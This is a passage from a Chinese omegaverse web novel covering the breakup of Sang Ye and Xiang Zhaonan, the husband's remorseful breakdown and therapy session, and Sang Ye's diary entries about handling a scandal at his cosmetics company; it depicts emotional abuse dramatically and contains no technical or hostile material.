“别碰我!”桑也攥着自己被巧妙解开的衣领,推了推胸前的那只手,无奈体型和力气都差的太多,对方纹丝未动。 他一时情急,直接扇了相召南一耳光。 清脆的巴掌声在空荡的走廊盘旋回绕,二人都愣在了原地。 桑也手掌被打得生疼,不住地握了握。 一些不太美好的记忆浮现出来,他有些后怕地倒退一步,却忘了脖子上的无事牌还在相召南手上。 他的后颈被勒得发疼发红,抬头看去,发现相召南的双目已经烧红,布满红血丝的眼白看着格外瘆人,像濒临某种临界线。 “你打我?”一声轻声的询问,仿佛什么都没有发生。 但桑也知道,这不是什么平静的海面,深藏其中的是庞大的暗流,马上就要冲破表面薄薄的封印,掀起轩然大波。 从他认识相召南开始,这个人就高高在上,颐指气使,从未受过这样的屈辱,彼时的桑也也从未生发过令相召南受辱的想法。 他在桑也面前维持着倨傲无礼的高贵。而现在,这样的高贵被他一巴掌扇碎了,撕烂了,戳破了。 果不其然,相召南烧红的眼几乎快要滴血,他结实的手臂猛地一拽,生生将无事牌从桑也脖颈上拽了下来,紧紧握在手心。 桑也吃痛地弯了弯腰,却看见无事牌被相召南拿走,顾不得疼痛,用重新挺起腰,想要抢回无事牌。 “还给我。” 相召南捏住他的下巴,在短暂的一瞬他怎么瘦成这样的惊愕后,胸膛抽动,冷讽道:“不是没闹?没闹,为什么还带着它?” 相召南简直有病。 桑也彻底明白了,相召南已经失心疯到听不懂人话,只会像疯狗一样找各种理由诓骗自己。 真让人恶心。 他下颌被捏住,不得不抬起头,但脸上不折不挠的神情没有减淡半分。 因为吃痛,本就没什么颜色的唇更加煞白,像重病在床的患者。然而他说出来的话却颇有分量:“你不配。” 哐——嚓! 无事牌被相召南高高举起,旋即用尽浑身力气砸在地上。 再度碎掉,像雨花一样溅起,细小的碎片甚至嵌进了桑也的小腿。 “既然是送给我的,那就归我处理!” 相召南彻底被激怒了。 他习惯了桑也哭着求着需要他,面对冷言冷语的桑也,他再也受不住地想要惩罚他。 只要桑也还会为他说的话牵动心绪,就能印证他说的话。 相召南从牙缝里挤出这句话,因为凑得太近,他的呼吸都喷洒在了桑也脖颈初。 可他却没有看见桑也,无论是哭也好,笑也好,任何表情都没有,只是麻木地失神地看向地面。 相召南心跳漏了一拍。 他顺着桑也的视线看去,只有零零散散的无事牌碎片,部分嵌着金丝,至于其他的—— 还有一点不太明了的灰色粉末。 那是什么? 第36章 桑也原本站得直挺, 即使脖颈受疼也只是弯腰了片刻,然而现在他完全不受控制地瘫软了,整个人全靠相召南扼住他的左手支撑着。 相召南看向地面, 左手不知不觉松了力, 使得桑也唯一的支撑也消失了。 桑也瘫坐在地上。 他眼里干涩得可怕, 逼得他不住地眨眼, 既是因为眼睛难受,又是因为心里难受。 一瞬间, 他就从盛放的长满荆刺的红滟玫瑰变成枯萎的蔫巴的黄褐色枯枝, 失去了神采和生气。 相召南瞬间变得手足无措起来,他从未产生过这样的情绪, 像是打碎了最爱的花瓶, 看着它碎成一片片,却又不知道从何修补。 他无所适从地伸了伸手, 不知是想要牵扶桑也, 还是捡拾碎片,但最后又僵硬地收了回去。 “只是一个牌子,值不了几个钱。”相召南似乎是在安慰桑也, “你想要多少个都可以。” 桑也笑着,伸手摸着背后的墙, 颤颤巍巍地站了起来。 他摸了摸脸, 没有水。 “相召南。”桑也对这个名字很熟悉, 但又很不熟悉。他在心里默念了无数遍, 却从未说出口过, 他只是喊着“南哥”,“南哥”。 “我在画室里画画的时候,你在公司忙, 我在画展要求抄袭者给我道歉的时候,你在斥责我咄咄逼人,我在雕刻室被刻刀划破手指的时候,你在质问我是不是穷得没钱了。” “相召南,值钱的不是它们,是我的时间。可我的爱给你,就像喂了狗。狗都知道见了人要摇尾巴,要汪汪叫,你却只会一次次用言语的刀剜我的肉。” 相召南对桑也最大的不信任,不是怀疑他沾花惹草,也不是认为他艺术不端,而是不相信桑也爱他,不把桑也的爱当真。 在他看来,桑也对他的以来完全是病。 也因此,他嫌弃桑也因病依赖他,又像甩不掉的狗皮膏药一样笃定桑也离不开他。 “你永远都是这样,自视甚高,自以为是,不把任何人放在心上,觉得所有人都该对你俯首称臣,无论是你的生身父母,还是我,这个占着你合法配偶位置的小丑。可笑我还把你的暴戾,残忍,恣睢当成馈赠,甘之如饴。” 相召南一时说不出话来,他茫然地伸了伸手,还没有触及桑也,就看见对方避之不及地侧身躲了躲。 “不要再来打扰我了,相召南,我不需要你了。” “……什么?” 桑也又摸了一下脸,发现还是没有水,可他明明感觉到自己哭了。 不管那些,他扣上马甲的扣子。 “不会再有情热期了,不会再每次情热期熬不下去给你打电话还打不通,在家里恨不得把自己浑身抓破,好不容易打通电话还要被你冷嘲热讽一番了,也不会再在床上像一块案板上任人宰割的死肉忍受着你毫不怜惜的贯穿了。” 相召南感受到自己浑身失力了一刹那,脑海里不受控制地涌现出桑也独自在家忍受信息素依赖症的画面。 他知道,他一直都知道,他清楚地知道,知道没有他的及时安抚,桑也会经历什么,但他的记忆里似乎失去了这一段记忆。他捂着头,是什么让他视而不见? “那天晚上,我包装好无事牌,等着给你送去,我满怀期待,想着虽然你嘴上嫌弃,说不定心里暗喜呢。但我打电话给你,你没接,钱余接了,他说,你在洗澡。我难受,情热期也提前了。凌星给我发消息,说出事了,可你知道吗?我一打开电视,那上面就出现了你!我毫无准备地听见你说要撤资。可那时离桑氏曝出丑闻才不到一个小时!相召南!” 桑也越说,越是浑身颤抖,越是声嘶力竭。 他痛恨自己为什么要因为见不到相召南而时常查看电视的经济与社会频道,以至于完全不设防地撞见相召南那无情无义的样子! 他捂着脸,干咳地笑出声来。 他以前不理解为什么相召南对他像对待仇人一样,仅仅是因为那场不自由的婚姻吗?如果是这样,四年的时间还不够消气吗?四年的经济利益还不够让视事业如命的他缓和态度吗? 直到那天相召南提起藏在书房里的照片。 桑也登时明白了。 可他宁愿自己不明白。 “你拒接电话的时候,你在我身上留下无数淤青的时候,你让我背过身去的时候,你不留情面宣告桑氏地产死亡的时候——” “你在为谁打抱不平?” 桑也天真地以为,只要是对爱的人,放低姿态也未尝不可。每当他生气,沮丧,低落,爸妈都会使出浑身解数来逗他,兄长也会低声下气哄他。他得到了许多爱,像水流一样溢出,分给没有父母疼爱的相召南一些又何妨? 可他没想到,他爱的人爱的正是他的高傲。 对于放弃了高傲的桑也,相召南不过把他当成一个怎么恶语相向,怎么冷暴力都赶不走还随时都能叫来泄/欲的情人。 “我没有腺体了。” “你自由了。” 桑也说,我也自由了。 他的话像一颗颗珠子掉在地上,不仅让相召南猝不及防,还连想要伸手去接住去捧起都只能混乱地照顾到其中一二。 他的苦太多了,多到相召南接不住,也躲不过。 相召南迟钝地,缓慢地伸手,想要碰一碰桑也脖颈后面的部位。 他曾做过无数种假设,认定桑也要么是找到了特效药,要么是找到了第二个百分百契合,才有胆量一走了之,连他从未有过的道歉都不放在心里,连他主动暴露出来的脆弱都无法挽回。 直到桑也说出“我没有腺体了”,把血淋淋的事实摊开摆在他面前,他才警觉自己的大脑似乎出了问题。 他自动屏蔽了所不乐意见到的结果,以至于他步步踏错,越走越远。 此时此刻,他的心脏几乎快要爆炸,可他想到的却是,桑也经历的疼痛比这疼多了,比这疼千倍万倍。 桑也躲过了他的手。 相召南眼里闪过一丝受伤。 “我……抱歉……” 桑也偏头,刚才的控诉让他有些失控,情绪上头,停下来之后,他整理了下自己的心情,恢复了木然的神色。 “相召南,就当是看在我让你免费艹了四年的份上,放过我吧。” 相召南张口,一个字也说不出来。 最后他说:“不要这样说自己……” 当走廊里传来脚步声,桑也头也不回离开了。 没带走相召南,也没带走碎掉的无事牌,和微末粉尘。 相召南终究是无力地坐下了,一身西装革履,豪掷千金的他,似个没人要的孩子,落魄,失魂。 路过的人三三两两,似乎在点评什么,相召南全当听不见,小心翼翼地捡起无事牌碎片,连碎成铅笔芯大小地渣都不放过,全部装进了自己平整的西裤口袋里。 站起来时,鼓着不明形状的裤腿,显得他像个怪诞的艺术家。 桑也说得没错,他自由了。 但相召南被永远囚禁在了枷锁之中。 …… 手机不停的弹出消息,是助理焦急地在询问。 【桑总,您去哪了?】 【桑总,林肯先生在找你,你还在成安场馆内吗?】 【桑总你出事了?要我报警吗?】 【不用,我来了。】 桑也回完信息,埋着头往前走,和刚从场馆内出来的人群逆流而行。他不敢抬头,怕自己神情给别人造成误会。 如果有人细看,就会发现这个快步前进的年轻人双目干红,胸膛微微起伏,眼中不再单纯纯粹,失去了往日的光亮,甚至也失去了刚才字字泣诉时的色彩,变得深邃复杂,未消的怒火和疲惫、懊悔混杂在一起,仿佛几道力量博弈,不时占据上风。 他的发丝在灯光下闪着微光,几缕散乱的、湿润的发丝贴在脸颊旁,显得他狼狈,脆弱与无助。 他出现在助理面前时,助理惊愕了一瞬,立马反应过来:“那位先生又来了?用不用我叫人赶他走?” 桑也缓缓转头,“不用了,他不会再来了。以后都不会了。” 听桑总这样说,助理有些懵地点点头表示知道了,虽然他不清楚桑总是怎么让那个人“不会再来了”,又为何笃定他“以后都不会了”,但他只是个助理,听着就是,对于上司的私事还是不要有过多好奇心。 原本林肯先生似乎有事找桑总,但一直没见到人,就先走了,所以桑总只用和他们成安的员工一起庆下功。 先前成安还有人对他不信服,认为他年纪小,不当事,这一次拍卖会足以让消除绝大多数的成安员工对他的质疑。 然而桑总似乎不是很开心。 他们去了当地有名的一家餐馆,因为成安员工众多,桑总直接包下了店,吃着吃着店里的灯光变得绚丽,音乐变得摇滚,估计是哪几个员工干的。 但桑总始终没有露出笑容,无论大家敬了他多少酒,说了他多少好话。 助理暗自揣测,难道是那位先生的离去让桑总心里不愉快了?但很快他就推翻了这一猜想,先前桑总和那个人剑拔弩张的样子并不作假,那个人的离开,桑总应该高兴才是。 所以到底是什么让本该意气风发的桑也沉默不安? 助理猜不透,只好和其他员工一起吃吃喝喝。突然,他的手机弹出来一条社媒的消息,上面贴着一个火红的“爆”字。 “心叶美妆被数位大博主联合爆出出口转内销、价格持续抬高、饥饿营销搅乱市场等乱象,更有高层不端行为遭到内涵,速来吃瓜!” 成安的员工也有人看见了,纷纷开始讨论。 助理不是成安的助理,而是桑也的助理,他知道这一美妆品牌也是桑也的资产,心里跳了一下,连忙和其他员工说有点事,转身跑去找桑也。 “桑总,可能出事了……” 第37章 相召南都说不清自己是怎么在雨天的圣劳伦斯游荡了一周, 又是怎么被相民的人压着回了国。 他只知道还在圣劳伦斯那一周,铺天盖地都是桑也的讯息。 不是成安拍卖会新人画家拍出天价,就是心叶美妆成天挂在热搜榜单上。 仿佛创世纪里的洪水在发现相召南这样一个罪大恶极的混蛋之后如约降下。 他一直都清楚以桑也的长相, 身材, 才能, 只要给他一个出世的机会, 必然能引起轩然大波,所有人都会为之动容。 这一点他在六年前的赛场上早已体会过。 所以在桑也心甘情愿为他安居于室的时候, 他心安理得地享受着一个Omega的自甘堕落的崇拜, 情热期时匍匐在他脚下的人抬起一双水盈的眼眸,清澈动情的眸里只有他一人, 让他产生了吊诡的餍足感。尽管事后他又为Omega顶着那个人的脸做出雌伏于人这种毫无尊严的事感到后怒。 而在桑也出门招摇时控制不住地生气, 愤懑,甚至迁怒于桑也, 因为他知道这样一个人出门就会被无数心怀不轨的人盯上。 这段时间的变故太多, 多到相召南产生了一种错乱感,其实桑也根本没有走,是他忙得头脑不清臆想出来的。其实桑也也没有剜去腺体, 他那么怕疼,稍稍用力一点就要哼哼唧唧地掉眼泪, 怎么可能愿意冒这么大风险剜去腺体就为了摆脱他呢。 不。 不是的。 他在想什么? 桑也怎么可能想要摆脱他?! 明明桑也满心满眼都是他。 不, 也不对。 桑也离不开他是因为生病, 是因为那个该死的信息素依赖症, 就是它把桑也变得恭顺卑微, 变得失去尊严,变得可悲可怖! 桑也又不爱他。 没了腺体,没了疾症, 想要摆脱他不是理所当然吗?不是和他一直以来所料想的完全一致吗? 然而等相召南再一次加班晕倒在办公室被第二天上班的助理送去医院醒来后,他坐在白得寂静的病房里,发现了和看似有条有理的逻辑相悖的一点。 如果桑也对他没有感情,为什么要亲自下厨,那么娇气还总是为了做饭受伤,为什么被他言语诋毁那么多次还愿意在情热期外让他尽兴,他哭得那么惨,他很痛苦,不是吗,为什么要用他绘画的金贵的手去做一些看似无所谓的东西,明明可以用钱解决,却还要花费那么多时间。 他不敢细想。 每一次回顾,他的头都像被重锤敲击一般阵痛,那重锤是他曾说出的字字句句,是他所做出的一举一动。 桑也对他有感情。 他终于意识到这一点。 那么明显,那么张扬的爱,为什么他会看不见?相召南手臂细细抖动,他被蒙骗了。 可是,深爱着他的桑也,为什么会一夜之间离他而去?头也不回,走得痛快。 桑也变回了他期待的样子,自由勃发,举世瞩目,哪里都好,就是不爱他。 一定有哪里出了问题。 相召南屏息,享受着无法呼吸带来的清醒感。只有这样,他才有可能抽丝剥茧地从过往的点点滴滴发现一丝端倪。 他沉溺在窒息的感受里,不知道过了多久,护士打开门,冲了进来,扣着他下巴强迫他张开嘴大口呼吸。 “想啥呢脸都憋青紫了,脑子有病就去看心理科精神科,别死在我们院了。” 相召南有些尴尬地回过神来。 他脑子当然没病,不需要去看。相反他认为自己的举措十分合理,因为他在那几分钟内的确发现了端倪。 七夕那天晚上一定发生了什么,才让桑也变成那样。 他得弄清楚。 相召南再一次回到了华润湾。 他潜意识里拒绝回到这里。 有些杀人犯会回到现场,一些是因为心里变态,出于欣赏杰作的目的返回现场,一些是因为胆小,冲动杀人离开之后,沉默,惊恐,最后惶惶,于是回到现场反复确认没有暴露自己的证据。 但更多的是逃离,逃得越远越好。一个不说有良知,但凡有善恶认知的人都知道杀人却非善事,自己会受到惩罚,而作案现场的每一件物品都是呈堂罪证,长着无形的眼睛,记录下杀人犯的恶行,紧紧凝视着他,令他畏惧。 相召南现在就是这样的心态。 打开房门,他感到一种无从下足的拥挤感。所有的家具都伸着利爪想要从他身上拆得一片生肉,波斯地毯宛如流动的河流,扭曲着身体向他涌来,如同胃囊包裹食物一样要把他包裹起来,用自己的酸液将他腐蚀掉,水晶吊灯在无风的室内摇晃着,投下一片浓黑阴影,舞动着攀附他的皮鞋和西裤,贴墙的黑灰色装饰柜脱离了墙面,迈着大步走到他面前,晃动着身躯似乎马上就要像地震引起的坍圮一样将他淹没,砸烂他的头颅和脊骨。 密密麻麻是叫声:“你杀死了他!” 相召南捂着头,弓腰捶打了好几分钟,才把那嚷叫的声音从大脑中打出去。 最后他强行直起身来,恍若无事发生,如果不是浑身都散发着一股死气,或许没人能发现他的异样。 他直接推开书房的门,迈着沉重的步伐,快速走近书桌,打开电脑,查看监控。 桑也说他包装了无事牌,说他打了电话,说他打开电视就看见相召南丑陋的嘴脸……相召南的手控制着鼠标,监控视频已经在电脑屏幕上弹了出来,他却迟迟不敢点击。 手战栗着,像从未接触过的枪支的人在这一刻将要第一次按下扳机。 和电脑无声对峙了半个小时,相召南终于低头,按下鼠标左键,清脆的一声叩响,屏幕上走马灯似的闪过一些片段,最后在七夕夜放慢了速度。 猫的反应速度是人的数倍,但人从未可知世界在猫的眼里是什么样。 相召南现在似乎知道了。他看见的视频像是被按下了零点五,零点二,甚至零点一倍速,他清晰地看见桑也的每一个动作,每一个表情,听见他发出的每一个音节。 他看见桑也穿戴齐全准备出门却在门口踌躇不定,反复摆弄手机似乎在等候一条为他开门的消息,脸上表情沉闷,又有点期待,嘴唇低低压着,抿成一条薄线,最后打通电话,终于露出一个恬淡的笑容。 然而下一刻,手机里传出来的声音令相召南错愕不已。 “召南哥在洗澡,你有什么事待会再打来吧。” 是钱余,谁允许他自作主张接他的电话的?!谁允许他摆出主人的架子替他拒绝桑也的?! 相召南来不及生气,就看见监控里桑也的神情瞬间暗了下来,桑也长得精致,这时候却像个被冷落的洋娃娃,落满了灰,圆溜溜亮晶晶的眼睛变得灰蒙蒙的。 相召南感受到心跳漏了一拍,他的表情也随之变得难过,像一艘小舟被汹涌波涛拍打,船上的人皱着眉默默无言地想念着家里的灯火。 监控进度条在自顾自走着。桑也回到沙发上,安静地坐着,仿佛失去了生机,直到他的手机开始闪烁着来信的光,他的表情才有一丝破动。 然而短信似乎并不是喜讯,因为相召南看见桑也先是定定地凝视着手机屏幕,随后伸手拨动了一下,随着他的动作,监控里的手机画面变得清晰。 相召南愕然地看着手机里的照片,模糊但依稀可辨是他和钱余,背景是一家甜品店。 谁偷拍了他?相召南不假思索,桑也那个好友!肯定是他在挑拨离间! 不要信他……相召南感到有一只手攥住他的心脏,令他浑身血液都静止了,直到他看见桑也苦笑了一下,浑身无力地进了卧室,消失在监控画面里,他才失去骨头一般跌坐在书桌椅上,顿感掉入深渊般被失重感包围的恐惧。 不要信他……当时钱余不小心,不,不是,是故意把咖啡洒在他身上,导致他不得不在办公室休息室的淋浴间临时冲了个澡,洗去一身的咖啡渍,出来之后钱余非要给他买衣服,说是给他道歉,他推却多次但最后被吵烦了,只能随他去了。 至于甜品店的七夕节活动——不,不是的,他从未想过要和钱余过什么七夕节活动,他驻足于前,只是——是什么? 相召南一时想不起来,他记得自己是想要给桑也买舒芙蕾的,桑也喜欢吃甜的,但似乎又不对,因为相召南什么也没买,空着手就回去了。那他停留在那里是为什么?他的记忆和他的心理在打架,到底是谁出了差错? 高大的书架和密密麻麻的书籍似乎要朝他冲过来,相召南头痛欲裂。 长久的沉默,横亘在相召南和电脑之间。 良久,屏幕里再次出现了桑也的身影。他浑身是血,眼睛里淌着流动的血水,耳垂滴血,不是比喻,而是切切实实的描述。 他那样目标明确义无反顾地冲向遥控器,连无事牌掉落在地也没有分去他丝毫注意力。是什么让他如此仓皇? 相召南屏息凝神。 最后他看见电视机上弹出来的画面。 是他! 醒目的蓝色标题框瞬间变成了猩红色,张牙舞爪诉说着他的抛弃。 “相氏会撤除对桑氏地产的投资。” 在空荡的书房跌宕不止,相召南捂着耳,却无法隔绝阵阵声浪,他清晰听见自己做了什么,也目不转睛地看着监控里的桑也哐啷一声砸在地上,头破血流。 出轨,依赖症,撤资…… 那些乌云压顶般的怪物再次出现,撕扯着相召南的手脚,要将他五马分尸,嘴里不停嚷叫着:“你杀死了他!” 相召南喉咙紧的说不出来话,只能无谓地吐着一些毫无意义的字符:“不,不是,是因为……我,不——” 书房仿佛变成了一个黑洞,一个不断流转的漩涡,相召南在里面待了并不知道多少个日夜,不停地观看着监控录像,不吃不喝,没日没夜。 最初他只看七夕晚上的监控,慢慢地他看起了七夕白天的监控,再后来他不断往前回溯,一分一秒都舍不得跳过。 他看见了桑也窝在沙发上,小小的脑袋搭在沙发扶手上,像个关节可以随意扭动的漂亮人偶,看见了桑也在客厅走来走去,不知道心里在想什,反复踱步,可爱极了。 他能感受到,有些笑容,是因他而荡开。 相召南只恨自己没在卧室,厨房,画室,家里的每个角落都装上监控。 像对待世间珍宝一样,他把监控当成宝藏,从里面桑也的一颦一笑,一言一行汲取生命营养。 他唯独不敢看的,是有他出镜的片段,那张丑陋的脸破坏了桑也身边的氛围,令人作呕,但好在他很少出现。 一切都是那么的美好,直到一个白日,华润湾的大门被豪车强行撞破,房间的门更是被毫不留情地拆卸下来,一群人浩浩荡荡冲了进来,踹开书房的门,把相召南从书桌后拽了起来。 相民一拳打在相召南的下巴上,瞬间激起一片青紫,嘴角流出了一条血渍。 相召南却并没有生气,用一双无神的黑色瞳孔盯着相民,“你做什么?” 相民怒极,又是一拳。 “你问我做什么?你怎么不问问你做什么?把偌大的公司抛下不管,窝在这里十几天,相氏停摆了你知不知道?你有没有点相氏总裁的自觉?我把公司交给你你就这样胡闹?!” 相召南还没说话,就看见门后走出来林晓燕,抱着一只暖手袋,嫌弃地看了他一眼。 “你这样子不会十几天都没洗过澡吧?脏得要死,我看你是真想当流浪汉了。赶紧回去上班,记得跟你舅舅打个电话,人可担心你了。”林晓燕抬手扇了扇鼻子前的空气,仿佛闻到了什么难闻的气味,随后嘀咕一句:“这么久不吃饭都没饿死。” 相召南转动眼珠,从相民,到林晓燕,再到二人身后的员工。 他突然笑了一下。 这一笑令在场众人都面面相觑。 相召南拨开人群,走出书房,走出被拆卸的大门,走出华润湾。他理了理衣襟,心想那个护士说的没错。 他确实是病了。 他确实是病了。 不然怎么会对看不见桑也盲目的爱。 第38章 医生姓李, 全名李由,是S市市中心三甲医院的心理科主治医生。因为医院是S市最好的医院,他自身履历也丰富, 接待了不少有心理障碍的富家子弟, 按理说经验十足。 但眼前这个人, 属实让他有些无言以对。 首先, 这个病人完全不按照医院规定做事,或者说, 医院主动给他开了后门, 作为医生也不好说什么。 其次,他本想按照流程让病人做个自我介绍, 结果病人用不可思议的目光看着他, 问:“你不认识我吗?” 大名鼎鼎的相氏集团总裁相召南,天天在电视机上露脸, 李由当然认识。相召南说得没错, 但这并不妨碍李由对他感到无语。 后来他问病人,你觉得自己哪里出了问题。 相召南憋了半天,脸都憋扭曲了才说:“我对不起他。” 李由虽然平时忙碌很少上网, 但对前段时间闹得沸沸扬扬的事情也有所听闻,他记得当时相召南的配偶家里公司被爆出大瓜, 医院同事都狠狠吃了一口, 紧接着相召南就宣布撤资, 和他同科室的医生有一个炒股的, 当即就说他要把手里的股赶紧抛了。 李由好奇问了一句才知道本来他们股民还在观望情况, 结果桑氏地产最大的合作伙伴宣布撤资,相当于告诉他们,这事实锤了, 赶紧跑吧。 只短短一句,李由便明白了是什么情况。 “你觉得你害了他?” 相召南对外从未低下的头颅沉重地点了一下。 李由思忖了片刻,道:“这事确实是你太不留情面了,你要是介怀,最好是跟他道个歉,给一些实质性的补偿。” “我道歉了。” “嗯,怎么说?” “他不接受。” 李由心说这也正常,毕竟你害得人家上百亿的公司连垂死挣扎的机会都没有,随随便便就原谅了你也太草率了。 结果他还没点评什么,就看见相召南突然浑身颤抖起来,双目惊恐地放大,最后站起身来,椅子腿在地上刮出刺耳的声响。李由看着病人发疯般嚷着“他说让我不要打扰他了”“他说我自由了”,还不受控制地想要掀他的桌。 好在他的诊室里所有摆件都是固定死的,相召南尴尬地拔了又拔,都没扯动一件摆饰。 李由趁这个机会连忙按响了铃,一个护士进来,他说:“给他打一剂镇定剂。” 他按着病人,护士手疾眼快把镇定剂打了进去,针对Alpha的镇定剂很快起了效果,病人的眼神果然变得清澈起来。 “清醒了吗?” “嗯。” 相召南坐回座位,重新开始问诊。 “你当时撤资,是出于什么原因?” 相召南沉默了许久,缓缓开口:“事情刚爆出来的时候,我还在公司外面,接到电话,说是相渡南召开了紧急会议,要我赶紧回去。” “我回去一看,果不其然,在场的都是相民那个老不死的心腹,和相渡南眉来眼去,就等着这次机会把我踢出游戏。投资桑氏地产是我一手操办的,如果相氏因此受到牵连,董事会要拿我开刀,正中相渡南和相民下怀。所以我……”他深吸了一口,似乎很难说出那几个字,“所以我撤资了,尽可能保住相氏的股市。” “你是想保住相氏的股市,还是想保住自己的地位?”李由皱眉。 相召南霍地抬头,旋即又垂下眸,“我……”他下颚用力至极,仿佛下一刻就要把自己搞得脱臼,“我……” “是为了你,对吧。” 相召南突然就泄了气,“对。” 他深深闭了闭眼。 李由却没放过他,直往他心口戳刀子。 “其实是你自私自利,却还要拿相氏大局给自己当遮羞布。” 相召南捂着脸,“不是的。桑守安他自作自受,如果不是他作恶多端,怎么会落得进监狱的下场?” “桑守安是……”李由问,听着有点熟悉。 “桑也他大哥。” 李由默道了一句,小舅子啊。 “既然你觉得是他自作自受,你为什么又要一副为难的样子?” 相召南怔住。 “换句话说,你说他自作自受,作恶多端,这个结论从何得来的?能跟我讲讲吗。” 相召南似乎陷入了回忆,半晌才缓慢开口。 “四年前,他拿把林俊从局子里捞出来为交换要我和桑也结婚。” “你有什么损失吗?” 从现在来看,显然没有,他还得了一个Omega。 “这跟他作恶有什么关联吗?” “林俊是个蠢货,但之前一直没有被发现,桑守安他弟弟刚诊出信息素依赖症,检测出和我是百分百契合,林俊立马就进去了。除了他还能是谁?” “这是你的猜测?” “这显而易见,用不着猜。” “嗯,那就是无凭无据。” 相召南梗了一下。 “这就是你们心理医生的素质吗?” 李由却笑了下,“我收钱了吗?” 相召南再次说不出话来。院长是他的朋友,优先接待只是他一句话的事,至于给钱,就算他要给,朋友也会推脱说他太客气了。 “行了。回归正题,你来医院是有什么困难吗?” 相召南似乎真的遇到了什么难以开口的困难,他的眼神瞬间变得迷茫了,游走在蔚蓝的窗边,落不到实处。 李由安静等着他,直到他收回目光,开口道:“我脑子好像出问题了。过去。” “我一直觉得他不爱我,但是我现在发现我错了,他爱我爱得那么明显,我却一直认为他只是因为生病了才离不开我。但其实也不能怪我,四年来他只在情热期频繁地联系我,我会这样想也很正常,对吗?可是,可是——可是好像也不对,他好像很爱我,他……我没看见,我看不见,我如果看见了,不会像现在这样做的。我脑子肯定出问题了。” 相召南越说越混乱,像一个刚学会说话的儿童,只能发出一些无意义的音节。 李由见过不少类似的情况,他从寥寥几语中捕捉到关键,一语中的:“你是看不见,还是视而不见?” 相召南浑身一颤,彻底僵在原地了。 “他联系你的时候,你是什么样的反应?” 相召南移开目光,他立马就意识到了李由想要说什么,他心虚,不敢承认。最后在李由再三逼问之下,相召南握着拳吐出几个字:“我让他别烦我。” 李由手里的资料卡在桌面敲了敲。 “一个再热忱的人也不可能连着四年热脸贴冷屁股,是人都会伤心,都会难过。我想他并不是一开始就如你所说只在情热期频繁联系你,对吗?” 相召南顿时陷入四年前的记忆里,那时的桑也还青涩,懵懵懂懂像个跟屁虫一样跟在他后面,吵着非要和他住一块。 似乎的确不一样。 他心里有了决断,但他不敢承认——是他把桑也逼成那样的。而他这个罪魁祸首又以此为借口开罪于他,全然不知自己才是始作俑者。 这场对话持续了两个小时。医生技术很高,用字字句句把他整个人的过去都唤醒来,让他赤条条地坐在医生面前。 无论是幼年时相民出轨,林晓燕带着他离婚,却又拿他要挟相民拿钱给林俊做生意,反而他这个要钱的“理由”一分钱也得不到,甚至还要自己在寒暑假兼职。 还是大学后他回到相氏集团兢兢业业八九年却发现相民只是舍不得他的才能和精力,把他当机器,想要他给相渡南做嫁衣。 什么也隐藏不了。 他从未和人说过如此隐秘的家事,说到这里,已经是他的极限。 最后离开的时候,医生说:“相先生,你确实有问题,但不是精神出错。” “是你的认知有了问题。” “你的父母对你没有感情,只有利益,于是你武断地认为全世界所有人都对你有所图谋,认为你前配偶的兄长一定是不择手段,你前配偶一定是把你当成解病工具,所以你态度恶劣,强迫自己忽略明目张胆的爱意。” “但你其实又渴望爱。于是当这种爱意真的撤离时,你又‘清醒’过来,假惺惺地去挽留,然而你实际并不知道为什么爱意流失了。” “就目前而言,我只能说真心换真心,你用对糟糕的原生家庭困境的方式对待你的爱人,完全是错位了。至于他的离开,想必不是某一件事情导致,而是这四年来的点点滴滴共同推动促成的,至于是什么,你心里清楚。” 又说: “你很矛盾。” “但相先生,即使你再不相信别人,四年的时间也足以揭开蒙住你双目的面纱,解冻你冰山似的内心。你肯定还有东西没有坦白。下周见,希望到时候你能够说实话。” 相召南手脚发软地离开了医院。 医院内,护士推门进来,问李由:“你那么尖锐地跟他讲话,能行吗?院长不会找你麻烦吧?” 李由摊了摊手,“你看他们这种人,缺人好声好气捧着他们吗?不说得直白一点,人家寻思我是庸医呢。” 第39章 心叶暴雷了。 我都不知道他们到底在经营些什么。以前总怨你工作太忙, 打趣你像是不需要睡觉一样,等我做起了和你一样的事情才知道有些觉不是不想睡,而是没时间睡。那个高层居然职场性骚扰, 连Alpha都不放过, 真的混蛋, 这个直接开除毫无疑虑。至于其他的, 不管是出口转内销抬高价还是饥饿营销,都需要时间好好弄明白, 研究研究怎么解决。 我的计划是这样的。 但早上六点的时候林肯先生问我怎么还没发解决声明, 我才知道黄金四小时的概念,才知道原来危机公关的处理第一时间不是调查情况是否属实, 而是发道歉声明。 于是我让管媒体官号的员工发布了道歉声明, 附上了那个混蛋的开除公告,至于其他的, 则表示会严肃对待, 认真调查,给出合理答复。 效果还不错,大部分人表示能够给我们时间, 但也有人提出我们在避重就轻。诚然,他说得没错。我确实不知道另外的问题该如何解决。 我现在焦头烂额, 连溜老大都没时间。 11月12日, 弟弟桑也。 林肯先生肯定了你给我的提议, 但是……他跟我说不妨开个发布会, 露露脸, 卖卖惨。他说,美妆的受众大多是一些有审美,有品位的Omega, 这类人一般爱好美人,同情心泛滥,如果我愿意把自己的伤疤揭露给他们看,他们百分之八十的概率会溺爱我。听完林肯的话,我说他不是像商人,像经纪人,就该去娱乐圈,肯定能带出来大明星。但是助理却表示,林肯说得很有道理。简直疯了,我能做出那种事情来吗? 我做了。 因为网上的势头越来越难以控制了,所有人都在催促,让赶紧给个合理的解决方案。短短一周,心叶的销售量几乎拦腰折断,不仅顾客在观望,公司员工也在观望。 最后如他们所愿,我把自己的伤痛揭示在所有人面前。我说创建心叶的母亲的确是C国人,但早已逝世,父亲殉情而去,我年幼失恃失怙,成年后又罹患信息素依赖病症,最后剜除腺体才得以保住性命,唯一的兄长锒铛入狱,公司在高层手里我插不进手,只能任由他们胡作非为,这次事件之后我会拿回管理权,认真经营,真诚以待。 媒体看哭了,观众看哭了,助理也看哭了。 只有我哭不出来。 离开的时候还有人拿着摄像头对着我,不是对我的脸,而是我残缺的腺体。他们在窥探什么? 我本不想的。我没有隐私了。 11月18日,弟弟桑也。 比起林肯的提议,我还是坚持你的建议。尽管我的确采纳了林肯的建议,但我也没有放弃最初的想法。说的难听点,卖惨,编故事,就是在骗人。我没有办法心安理得地骗人。也不能毫无愧疚地把真诚当作商业手段。 既然我在发布会上说了要真诚以待,我就会做到。心叶的价格设置的确偏高,就算是在高端美妆产品里面,也是独一档的,我实在没想明白当初定价的人是怎么想的。 